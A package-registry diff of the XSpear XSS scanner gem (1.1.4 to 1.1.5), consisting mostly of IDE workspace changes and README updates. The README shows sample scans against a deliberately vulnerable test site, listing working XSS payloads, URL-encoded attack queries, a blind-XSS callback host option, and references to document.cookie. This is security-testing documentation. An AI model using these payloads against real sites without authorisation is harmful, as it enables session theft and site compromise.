XSpear 1.1.4 → 1.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.idea/workspace.xml +60 -49
- data/README.md +81 -64
- data/lib/XSpear/version.rb +1 -1
- data/lib/XSpear.rb +89 -37
- metadata +2 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: cfc44f2d92f1b26e5d333eeb40c8d6ec91f18acb718a91fa034d3ca69682dbf0
|
|
4
|
+
data.tar.gz: ac964e34502fd47bad4e4eafa0e7ae58505a67de2f47d2ddce1e2606607570db
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 54837391e4c4da2517b10248cbdcb537745830ae213e8c131db450de1e5d97dd6576e15f4e76f43fd2d0f1f53f73d4b37a2c6f7521b4dff6460b9c2bb9646a74
|
|
7
|
+
data.tar.gz: 794f40198ac102353e135e30f1363af28b139c531bf1bc7da4286223230d38d9b9fa1e8d46b0371c42d50f592e763d5e4eceeb4fd44dc1ae68815df8492e8f29
|
data/.idea/workspace.xml
CHANGED
|
@@ -3,7 +3,9 @@
|
|
|
3
3
|
<component name="ChangeListManager">
|
|
4
4
|
<list default="true" id="4ee2e581-45d7-4c90-b6a1-e92e4b5829dd" name="Default Changelist" comment="">
|
|
5
5
|
<change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
|
|
6
|
+
<change beforePath="$PROJECT_DIR$/README.md" beforeDir="false" afterPath="$PROJECT_DIR$/README.md" afterDir="false" />
|
|
6
7
|
<change beforePath="$PROJECT_DIR$/lib/XSpear.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear.rb" afterDir="false" />
|
|
8
|
+
<change beforePath="$PROJECT_DIR$/lib/XSpear/version.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear/version.rb" afterDir="false" />
|
|
7
9
|
</list>
|
|
8
10
|
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
|
|
9
11
|
<option name="SHOW_DIALOG" value="false" />
|
|
@@ -16,23 +18,23 @@
|
|
|
16
18
|
</component>
|
|
17
19
|
<component name="FileEditorManager">
|
|
18
20
|
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
|
|
19
|
-
<file pinned="false" current-in-tab="
|
|
21
|
+
<file pinned="false" current-in-tab="true">
|
|
20
22
|
<entry file="file://$PROJECT_DIR$/README.md">
|
|
21
23
|
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
22
24
|
<state split_layout="SPLIT">
|
|
23
|
-
<first_editor relative-caret-position="
|
|
24
|
-
<caret line="
|
|
25
|
+
<first_editor relative-caret-position="180">
|
|
26
|
+
<caret line="12" column="72" selection-start-line="12" selection-start-column="72" selection-end-line="12" selection-end-column="72" />
|
|
25
27
|
</first_editor>
|
|
26
28
|
<second_editor />
|
|
27
29
|
</state>
|
|
28
30
|
</provider>
|
|
29
31
|
</entry>
|
|
30
32
|
</file>
|
|
31
|
-
<file pinned="false" current-in-tab="
|
|
33
|
+
<file pinned="false" current-in-tab="false">
|
|
32
34
|
<entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
|
|
33
35
|
<provider selected="true" editor-type-id="text-editor">
|
|
34
|
-
<state relative-caret-position="
|
|
35
|
-
<caret line="
|
|
36
|
+
<state relative-caret-position="134">
|
|
37
|
+
<caret line="76" column="9" lean-forward="true" selection-start-line="76" selection-start-column="9" selection-end-line="76" selection-end-column="9" />
|
|
36
38
|
</state>
|
|
37
39
|
</provider>
|
|
38
40
|
</entry>
|
|
@@ -113,10 +115,10 @@
|
|
|
113
115
|
<option value="$PROJECT_DIR$/XSpear.gemspec" />
|
|
114
116
|
<option value="$PROJECT_DIR$/exe/XSpear" />
|
|
115
117
|
<option value="$PROJECT_DIR$/lib/XSpear/banner.rb" />
|
|
116
|
-
<option value="$PROJECT_DIR$/lib/XSpear/version.rb" />
|
|
117
118
|
<option value="$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb" />
|
|
118
|
-
<option value="$PROJECT_DIR$/
|
|
119
|
+
<option value="$PROJECT_DIR$/lib/XSpear/version.rb" />
|
|
119
120
|
<option value="$PROJECT_DIR$/lib/XSpear.rb" />
|
|
121
|
+
<option value="$PROJECT_DIR$/README.md" />
|
|
120
122
|
</list>
|
|
121
123
|
</option>
|
|
122
124
|
</component>
|
|
@@ -233,21 +235,7 @@
|
|
|
233
235
|
<workItem from="1563809961097" duration="4237000" />
|
|
234
236
|
<workItem from="1563893538891" duration="11917000" />
|
|
235
237
|
<workItem from="1564151699165" duration="2494000" />
|
|
236
|
-
<workItem from="1564413097342" duration="
|
|
237
|
-
</task>
|
|
238
|
-
<task id="LOCAL-00007" summary="edit gem dependency(runtime, developement)">
|
|
239
|
-
<created>1563202364398</created>
|
|
240
|
-
<option name="number" value="00007" />
|
|
241
|
-
<option name="presentableId" value="LOCAL-00007" />
|
|
242
|
-
<option name="project" value="LOCAL" />
|
|
243
|
-
<updated>1563202364398</updated>
|
|
244
|
-
</task>
|
|
245
|
-
<task id="LOCAL-00008" summary="Edit readme">
|
|
246
|
-
<created>1563202539755</created>
|
|
247
|
-
<option name="number" value="00008" />
|
|
248
|
-
<option name="presentableId" value="LOCAL-00008" />
|
|
249
|
-
<option name="project" value="LOCAL" />
|
|
250
|
-
<updated>1563202539755</updated>
|
|
238
|
+
<workItem from="1564413097342" duration="8852000" />
|
|
251
239
|
</task>
|
|
252
240
|
<task id="LOCAL-00009" summary="Edit readme">
|
|
253
241
|
<created>1563202605282</created>
|
|
@@ -578,11 +566,34 @@
|
|
|
578
566
|
<option name="project" value="LOCAL" />
|
|
579
567
|
<updated>1565281795460</updated>
|
|
580
568
|
</task>
|
|
581
|
-
<
|
|
569
|
+
<task id="LOCAL-00056" summary="(1.1.4) [Fixed #19] Add http.code, message log, edit log format on verbose=3">
|
|
570
|
+
<created>1565283137057</created>
|
|
571
|
+
<option name="number" value="00056" />
|
|
572
|
+
<option name="presentableId" value="LOCAL-00056" />
|
|
573
|
+
<option name="project" value="LOCAL" />
|
|
574
|
+
<updated>1565283137057</updated>
|
|
575
|
+
</task>
|
|
576
|
+
<task id="LOCAL-00057" summary="(1.1.4) Released 1.1.4">
|
|
577
|
+
<created>1565283263992</created>
|
|
578
|
+
<option name="number" value="00057" />
|
|
579
|
+
<option name="presentableId" value="LOCAL-00057" />
|
|
580
|
+
<option name="project" value="LOCAL" />
|
|
581
|
+
<updated>1565283263992</updated>
|
|
582
|
+
</task>
|
|
583
|
+
<option name="localTasksCounter" value="58" />
|
|
582
584
|
<servers />
|
|
583
585
|
</component>
|
|
584
586
|
<component name="TimeTrackingManager">
|
|
585
|
-
<option name="totallyTimeSpent" value="
|
|
587
|
+
<option name="totallyTimeSpent" value="47822000" />
|
|
588
|
+
</component>
|
|
589
|
+
<component name="TodoView">
|
|
590
|
+
<todo-panel id="selected-file">
|
|
591
|
+
<is-autoscroll-to-source value="true" />
|
|
592
|
+
</todo-panel>
|
|
593
|
+
<todo-panel id="all">
|
|
594
|
+
<are-packages-shown value="true" />
|
|
595
|
+
<is-autoscroll-to-source value="true" />
|
|
596
|
+
</todo-panel>
|
|
586
597
|
</component>
|
|
587
598
|
<component name="ToolWindowManager">
|
|
588
599
|
<frame x="-1920" y="-643" width="1920" height="1080" extended-state="0" />
|
|
@@ -597,11 +608,11 @@
|
|
|
597
608
|
<window_info anchor="bottom" id="Debug" order="3" weight="0.4" />
|
|
598
609
|
<window_info anchor="bottom" id="Cvs" order="4" weight="0.25" />
|
|
599
610
|
<window_info anchor="bottom" id="Inspection" order="5" weight="0.4" />
|
|
600
|
-
<window_info anchor="bottom" id="TODO" order="6" />
|
|
611
|
+
<window_info anchor="bottom" id="TODO" order="6" weight="0.32970297" />
|
|
601
612
|
<window_info anchor="bottom" id="Docker" order="7" show_stripe_button="false" />
|
|
602
613
|
<window_info anchor="bottom" id="Database Changes" order="8" />
|
|
603
614
|
<window_info anchor="bottom" id="Version Control" order="9" />
|
|
604
|
-
<window_info active="true" anchor="bottom" id="Terminal" order="10" visible="true" weight="0.
|
|
615
|
+
<window_info active="true" anchor="bottom" id="Terminal" order="10" visible="true" weight="0.34059405" />
|
|
605
616
|
<window_info anchor="bottom" id="Event Log" order="11" side_tool="true" />
|
|
606
617
|
<window_info anchor="bottom" id="Messages" order="12" weight="0.32953367" />
|
|
607
618
|
<window_info anchor="right" id="Commander" internal_type="SLIDING" order="0" type="SLIDING" weight="0.4" />
|
|
@@ -614,8 +625,6 @@
|
|
|
614
625
|
<option name="version" value="1" />
|
|
615
626
|
</component>
|
|
616
627
|
<component name="VcsManagerConfiguration">
|
|
617
|
-
<MESSAGE value="(1.0.6)[fixed #6] Edit Static Analysis code" />
|
|
618
|
-
<MESSAGE value="(1.0.6)[fixed #7] CallbackNotAdded 쪽 분기문 수정" />
|
|
619
628
|
<MESSAGE value="(1.0.6)[fixed #4] Report 객체 수정" />
|
|
620
629
|
<MESSAGE value="(1.0.6)[fixed #8] Added response header analysis module" />
|
|
621
630
|
<MESSAGE value="(1.0.6)[fixed #9] Added method in report-cli" />
|
|
@@ -639,7 +648,9 @@
|
|
|
639
648
|
<MESSAGE value="(1.1.2) Releases & Fixed #17 (Add some event handlers..)" />
|
|
640
649
|
<MESSAGE value="(1.1.3) Releases & Fixed #18 (Add onload* event handler)" />
|
|
641
650
|
<MESSAGE value="(1.1.4) [Fixed #20 #22] Modified JSON Format&Remove Color in XSpearReporter" />
|
|
642
|
-
<
|
|
651
|
+
<MESSAGE value="(1.1.4) [Fixed #19] Add http.code, message log, edit log format on verbose=3" />
|
|
652
|
+
<MESSAGE value="(1.1.4) Released 1.1.4" />
|
|
653
|
+
<option name="LAST_COMMIT_MESSAGE" value="(1.1.4) Released 1.1.4" />
|
|
643
654
|
</component>
|
|
644
655
|
<component name="editorHistoryManager">
|
|
645
656
|
<entry file="file://$USER_HOME$/.rvm/gems/ruby-2.4.6/gems/bundler-2.0.1/lib/bundler/rubygems_integration.rb">
|
|
@@ -692,23 +703,6 @@
|
|
|
692
703
|
</state>
|
|
693
704
|
</provider>
|
|
694
705
|
</entry>
|
|
695
|
-
<entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
|
|
696
|
-
<provider selected="true" editor-type-id="text-editor">
|
|
697
|
-
<state relative-caret-position="15">
|
|
698
|
-
<caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
|
|
699
|
-
</state>
|
|
700
|
-
</provider>
|
|
701
|
-
</entry>
|
|
702
|
-
<entry file="file://$PROJECT_DIR$/README.md">
|
|
703
|
-
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
704
|
-
<state split_layout="SPLIT">
|
|
705
|
-
<first_editor relative-caret-position="407">
|
|
706
|
-
<caret line="243" column="42" lean-forward="true" selection-start-line="243" selection-start-column="42" selection-end-line="243" selection-end-column="42" />
|
|
707
|
-
</first_editor>
|
|
708
|
-
<second_editor />
|
|
709
|
-
</state>
|
|
710
|
-
</provider>
|
|
711
|
-
</entry>
|
|
712
706
|
<entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
|
|
713
707
|
<provider selected="true" editor-type-id="text-editor">
|
|
714
708
|
<state relative-caret-position="-61">
|
|
@@ -723,10 +717,27 @@
|
|
|
723
717
|
</state>
|
|
724
718
|
</provider>
|
|
725
719
|
</entry>
|
|
720
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
|
|
721
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
722
|
+
<state relative-caret-position="15">
|
|
723
|
+
<caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
|
|
724
|
+
</state>
|
|
725
|
+
</provider>
|
|
726
|
+
</entry>
|
|
726
727
|
<entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
|
|
727
728
|
<provider selected="true" editor-type-id="text-editor">
|
|
728
|
-
<state relative-caret-position="
|
|
729
|
-
<caret line="
|
|
729
|
+
<state relative-caret-position="134">
|
|
730
|
+
<caret line="76" column="9" lean-forward="true" selection-start-line="76" selection-start-column="9" selection-end-line="76" selection-end-column="9" />
|
|
731
|
+
</state>
|
|
732
|
+
</provider>
|
|
733
|
+
</entry>
|
|
734
|
+
<entry file="file://$PROJECT_DIR$/README.md">
|
|
735
|
+
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
736
|
+
<state split_layout="SPLIT">
|
|
737
|
+
<first_editor relative-caret-position="180">
|
|
738
|
+
<caret line="12" column="72" selection-start-line="12" selection-start-column="72" selection-end-line="12" selection-end-column="72" />
|
|
739
|
+
</first_editor>
|
|
740
|
+
<second_editor />
|
|
730
741
|
</state>
|
|
731
742
|
</provider>
|
|
732
743
|
</entry>
|
data/README.md
CHANGED
|
@@ -10,7 +10,7 @@ XSpear is XSS Scanner on ruby gems
|
|
|
10
10
|
- Detect `alert` `confirm` `prompt` event on headless browser (with Selenium)
|
|
11
11
|
- Testing request/response for XSS protection bypass and reflected params<br>
|
|
12
12
|
+ Reflected Params
|
|
13
|
-
+ Filtered test `event handler` `HTML tag` `Special Char`
|
|
13
|
+
+ Filtered test `event handler` `HTML tag` `Special Char` `Useful code`
|
|
14
14
|
- Testing Blind XSS (with XSS Hunter , ezXSS, HBXSS, Etc all url base blind test...)
|
|
15
15
|
- Dynamic/Static Analysis
|
|
16
16
|
+ Find SQL Error pattern
|
|
@@ -97,7 +97,7 @@ $ ruby a.rb -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
|
|
|
97
97
|
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"
|
|
98
98
|
```
|
|
99
99
|
|
|
100
|
-
**json output**
|
|
100
|
+
**json output(with silence mode)**
|
|
101
101
|
```
|
|
102
102
|
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 1
|
|
103
103
|
```
|
|
@@ -117,9 +117,12 @@ $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30
|
|
|
117
117
|
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test
|
|
118
118
|
```
|
|
119
119
|
|
|
120
|
-
**testing blind xss
|
|
120
|
+
**testing blind xss**<br>
|
|
121
|
+
(Should be used as much as possible because Blind XSS is everywhere)<br>
|
|
121
122
|
```
|
|
122
123
|
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht"
|
|
124
|
+
|
|
125
|
+
# Set your blind xss host. <-b options>
|
|
123
126
|
```
|
|
124
127
|
|
|
125
128
|
etc...
|
|
@@ -139,75 +142,89 @@ __((_)(_)) /(/( /((_))(_))(()\
|
|
|
139
142
|
|_| \ /<
|
|
140
143
|
{\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================-
|
|
141
144
|
/ \<
|
|
142
|
-
\> [ v1.
|
|
143
|
-
[*]
|
|
144
|
-
[
|
|
145
|
-
[
|
|
146
|
-
[I] [
|
|
147
|
-
[-] [
|
|
148
|
-
[
|
|
149
|
-
[
|
|
150
|
-
[
|
|
151
|
-
[
|
|
152
|
-
[
|
|
153
|
-
|
|
154
|
-
[
|
|
155
|
-
[
|
|
156
|
-
[
|
|
157
|
-
[
|
|
158
|
-
[-] [
|
|
159
|
-
[
|
|
160
|
-
[-] [
|
|
161
|
-
[V] [
|
|
162
|
-
|
|
163
|
-
[
|
|
164
|
-
|
|
145
|
+
\> [ v1.1.5 ]
|
|
146
|
+
[*] analysis request..
|
|
147
|
+
[-] [23:50:35] [200/OK] 'zfdfasdf' not reflected rEfe6
|
|
148
|
+
[-] [23:50:35] [200/OK] 'cat' not reflected <script>alert(45)</script>
|
|
149
|
+
[I] [23:50:35] [200/OK] [param: cat][Found SQL Error Pattern]
|
|
150
|
+
[-] [23:50:35] [200/OK] 'zfdfasdf' not reflected <script>alert(45)</script>
|
|
151
|
+
[-] [23:50:35] [200/OK] 'STATIC' not reflected
|
|
152
|
+
[I] [23:50:35] [200/OK] reflected rEfe6[param: cat][reflected parameter]
|
|
153
|
+
[*] creating a test query [for reflected 2 param + blind xss ]
|
|
154
|
+
[*] test query generation is complete. [192 query]
|
|
155
|
+
[*] starting XSS Scanning. [10 threads]
|
|
156
|
+
..snip..
|
|
157
|
+
[I] [23:50:47] [200/OK] reflected xsp<frameset>
|
|
158
|
+
[I] [23:50:47] [200/OK] reflected xsp<applet>
|
|
159
|
+
[I] [23:50:48] [200/OK] reflected document.cookie.xspear
|
|
160
|
+
[I] [23:50:48] [200/OK] reflected document.location.xspear
|
|
161
|
+
[-] [23:50:48] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
|
|
162
|
+
[H] [23:50:50] [200/OK] reflected <keygen autofocus onfocus=alert(45)>[param: cat][reflected onfocus XSS Code]
|
|
163
|
+
[-] [23:50:55] [200/OK] 'cat' not found alert/prompt/confirm event <xmp><p title="</xmp><svg/onload=alert(45)>">
|
|
164
|
+
[V] [23:50:56] [200/OK] found alert/prompt/confirm (45) in selenium!! <script>alert(45)</script>[param: cat][triggered <script>alert(45)</script>]
|
|
165
|
+
[H] [23:50:56] [200/OK] found alert/prompt/confirm (45) in selenium!! <marquee onstart=alert(45)>[param: cat][triggered <marquee onstart=alert(45)>]
|
|
166
|
+
[H] [23:50:57] [200/OK] found alert/prompt/confirm (45) in selenium!! <details/open/ontoggle="alert(45)">[param: cat][triggered <details/open/ontoggle="alert(45)">]
|
|
167
|
+
[H] [23:50:58] [200/OK] found alert/prompt/confirm (45) in selenium!! <audio src onloadstart=alert(45)>[param: cat][triggered <audio src onloadstart=alert(45)>]
|
|
168
|
+
[-] [23:50:59] [200/OK] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
|
|
169
|
+
[-] [23:50:59] [200/OK] 'cat' not found alert/prompt/confirm event <svg(0x0c)onload=alert(1)>
|
|
170
|
+
[V] [23:51:00] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
|
|
171
|
+
...snip..
|
|
165
172
|
[*] finish scan. the report is being generated..
|
|
166
|
-
|
|
167
|
-
|
|
|
168
|
-
|
|
|
169
|
-
|
|
|
170
|
-
|
|
171
|
-
| NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD
|
|
172
|
-
|
|
173
|
-
| 0 | INFO |
|
|
174
|
-
| 1 | INFO | STATIC ANALYSIS | GET | - | original query
|
|
175
|
-
| 2 | INFO | STATIC ANALYSIS | GET | - | original query
|
|
176
|
-
| 3 |
|
|
177
|
-
| 4 |
|
|
178
|
-
| 5 |
|
|
179
|
-
| 6 | INFO | REFLECTED | GET | cat | rEfe6
|
|
180
|
-
| 7 | INFO | FILERD RULE | GET | cat | onhwul=64
|
|
181
|
-
| 8 | HIGH | XSS | GET | cat | <script>alert(45)</script>
|
|
182
|
-
| 9 | HIGH | XSS | GET | cat |
|
|
183
|
-
| 10 |
|
|
184
|
-
| 11 |
|
|
185
|
-
|
|
173
|
+
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
|
|
174
|
+
| [ XSpear report ] |
|
|
175
|
+
| http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fff... (snip) |
|
|
176
|
+
| 2019-08-14 23:50:34 +0900 ~ 2019-08-14 23:51:07 +0900 Found 24 issues. |
|
|
177
|
+
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
|
|
178
|
+
| NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD | DESCRIPTION |
|
|
179
|
+
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
|
|
180
|
+
| 0 | INFO | STATIC ANALYSIS | GET | - | <original query> | Found Server: nginx/1.4.1 |
|
|
181
|
+
| 1 | INFO | STATIC ANALYSIS | GET | - | <original query> | Not set HSTS |
|
|
182
|
+
| 2 | INFO | STATIC ANALYSIS | GET | - | <original query> | Content-Type: text/html |
|
|
183
|
+
| 3 | LOW | STATIC ANALYSIS | GET | - | <original query> | Not Set X-Frame-Options |
|
|
184
|
+
| 4 | MIDUM | STATIC ANALYSIS | GET | - | <original query> | Not Set CSP |
|
|
185
|
+
| 5 | INFO | DYNAMIC ANALYSIS | GET | cat | XsPeaR" | Found SQL Error Pattern |
|
|
186
|
+
| 6 | INFO | REFLECTED | GET | cat | rEfe6 | reflected parameter |
|
|
187
|
+
| 7 | INFO | FILERD RULE | GET | cat | onhwul=64 | not filtered event handler on{any} pattern |
|
|
188
|
+
| 8 | HIGH | XSS | GET | cat | <script>alert(45)</script> | reflected XSS Code |
|
|
189
|
+
| 9 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | reflected HTML5 XSS Code |
|
|
190
|
+
| 10 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert`45`"> | reflected HTML5 XSS Code |
|
|
191
|
+
| 11 | HIGH | XSS | GET | cat | <select autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
|
|
192
|
+
| 12 | HIGH | XSS | GET | cat | <input autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
|
|
193
|
+
| 13 | HIGH | XSS | GET | cat | <textarea autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
|
|
194
|
+
| 14 | HIGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | reflected HTML5 XSS Code |
|
|
195
|
+
| 15 | HIGH | XSS | GET | cat | <meter onmouseover=alert(45)>0</meter> | reflected HTML5 XSS Code |
|
|
196
|
+
| 16 | HIGH | XSS | GET | cat | "><iframe/src=JavaScriPt:alert(45)> | reflected XSS Code |
|
|
197
|
+
| 17 | HIGH | XSS | GET | cat | <video/poster/onerror=alert(45)> | reflected HTML5 XSS Code |
|
|
198
|
+
| 18 | HIGH | XSS | GET | cat | <keygen autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
|
|
199
|
+
| 19 | VULN | XSS | GET | cat | <script>alert(45)</script> | triggered <script>alert(45)</script> |
|
|
200
|
+
| 20 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | triggered <marquee onstart=alert(45)> |
|
|
201
|
+
| 21 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert(45)"> | triggered <details/open/ontoggle="alert(45)"> |
|
|
202
|
+
| 22 | HIGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | triggered <audio src onloadstart=alert(45)> |
|
|
203
|
+
| 23 | VULN | XSS | GET | cat | '"><svg/onload=alert(45)> | triggered <svg/onload=alert(45)> |
|
|
204
|
+
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
|
|
186
205
|
< Available Objects >
|
|
187
206
|
[cat] param
|
|
188
|
-
+ Available Special Char:
|
|
189
|
-
+ Available Event Handler: "
|
|
190
|
-
+ Available HTML Tag: "
|
|
207
|
+
+ Available Special Char: ` ( \ ' { ) } [ : $ ]
|
|
208
|
+
+ Available Event Handler: "onBeforeEditFocus","onAbort","onActivate","onAfterUpdate","onBeforeCopy","onAfterPrint","onBeforeActivate","onBeforeCut","onBeforeDeactivate","onChange","onBeforePrint","onBounce","onBeforeUnload","onCellChange","onBeforePaste","onClick","onBegin","onBlur","onBeforeUpdate","onDataSetChanged","onCut","onDblClick","onCopy","onContextMenu","onDataSetComplete","onDeactivate","onDataAvailable","onControlSelect","onDrag","onDrop","onDragEnd","onEnd","onDragLeave","onDragStart","onDragOver","onDragEnter","onDragDrop","onError","onErrorUpdate","onFinish","onFilterChange","onKeyPress","onHelp","onFocus","onInput","onHashChange","onKeyDown","onFocusIn","onFocusOut","onMessage","onMouseDown","onLoad","onLayoutComplete","onMouseEnter","onLoseCapture","onloadstart","onMediaError","onKeyUp","onMediaComplete","onMouseOver","onMouseWheel","onMove","onMouseMove","onMouseOut","onOffline","onMoveStart","onMouseLeave","onMouseUp","onMoveEnd","onPropertyChange","onOnline","onPause","onPaste","onReadyStateChange","onRedo","onProgress","onPopState","onOutOfSync","onRepeat","onResume","onRowExit","onReset","onResizeEnd","onRowsEnter","onResizeStart","onReverse","onRowDelete","onRowInserted","onResize","onStop","onSeek","onSelect","onSubmit","onStorage","onStart","onScroll","onSelectionChange","onSyncRestored","onSelectStart","onUnload","ontouchstart","onbeforescriptexecute","onTimeError","onURLFlip","ontouchmove","ontouchend","onTrackChange","onUndo","onafterscriptexecute","onpointermove","onpointerleave","onpointerup","onpointerover","onpointerdown","onpointerenter","onloadstart","onloadend","onpointerout"
|
|
209
|
+
+ Available HTML Tag: "script","img","embed","video","audio","meta","style","frame","iframe","svg","object","frameset","applet"
|
|
191
210
|
+ Available Useful Code: "document.cookie","document.location","window.location"
|
|
211
|
+
|
|
192
212
|
< Raw Query >
|
|
193
|
-
[0] http://testphp.vulnweb.com/listproducts.php
|
|
194
|
-
|
|
195
|
-
[
|
|
196
|
-
[
|
|
197
|
-
[
|
|
198
|
-
[
|
|
199
|
-
[
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
[9] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Ciframe%2Fsrc%3DJavaScriPt%3Aalert%2845%29%3E
|
|
203
|
-
[10] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%22%3E%3Cscript%3Ealert%2845%29%3C%2Fscript%3E
|
|
204
|
-
[11] http://testphp.vulnweb.com/listproducts.php?cat=z?cat=z%27%22%3E%3Csvg%2Fonload%3Dalert%2845%29%3E
|
|
213
|
+
[0] http://testphp.vulnweb.com/listproducts.php?-
|
|
214
|
+
..snip..
|
|
215
|
+
[19] http://testphp.vulnweb.com/listproducts.php?cat=123%22%3E%3Cscript%3Ealert(45)%3C/script%3E&zfdfasdf=124fffff
|
|
216
|
+
[20] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cmarquee%20onstart=alert(45)%3E&zfdfasdf=124fffff
|
|
217
|
+
[21] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cdetails/open/ontoggle=%22alert(45)%22%3E&zfdfasdf=124fffff
|
|
218
|
+
[22] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Caudio%20src%20onloadstart=alert(45)%3E&zfdfasdf=124fffff
|
|
219
|
+
[23] http://testphp.vulnweb.com/listproducts.php?cat=123'%22%3E%3Csvg/onload=alert(45)%3E&zfdfasdf=124fffff
|
|
220
|
+
|
|
221
|
+
...snip...
|
|
205
222
|
```
|
|
206
223
|
|
|
207
224
|
**to JSON**
|
|
208
225
|
```
|
|
209
|
-
$ xspear -u "http://testphp.vulnweb.com/
|
|
210
|
-
{"starttime":"2019-08-
|
|
226
|
+
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fffff" -v 1 -o json
|
|
227
|
+
{"starttime":"2019-08-14 23:58:12 +0900","endtime":"2019-08-14 23:58:44 +0900","issue_count":24,"issue_list":[{"id":0,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Found Server: nginx/1.4.1"},{"id":1,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not set HSTS"},{"id":2,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Content-Type: text/html"},{"id":3,"type":"LOW","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set X-Frame-Options"},{"id":4,"type":"MIDUM","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set CSP"},{"id":5,"type":"INFO","issue":"DYNAMIC ANALYSIS","method":"GET","param":"cat","payload":"XsPeaR\"","description":"Found SQL Error Pattern"},{"id":6,"type":"INFO","issue":"REFLECTED","method":"GET","param":"cat","payload":"rEfe6","description":"reflected parameter"},{"id":7,"type":"INFO","issue":"FILERD RULE","method":"GET","param":"cat","payload":"onhwul=64","description":"not filtered event handler on{any} pattern"},{"id":8,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"reflected XSS Code"},{"id":9,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<textarea autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":10,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<video/poster/onerror=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":11,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":12,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert`45`\">","description":"reflected HTML5 XSS Code"},{"id":13,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<select autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":14,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":15,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<input autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":16,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"\"><iframe/src=JavaScriPt:alert(45)>","description":"reflected XSS 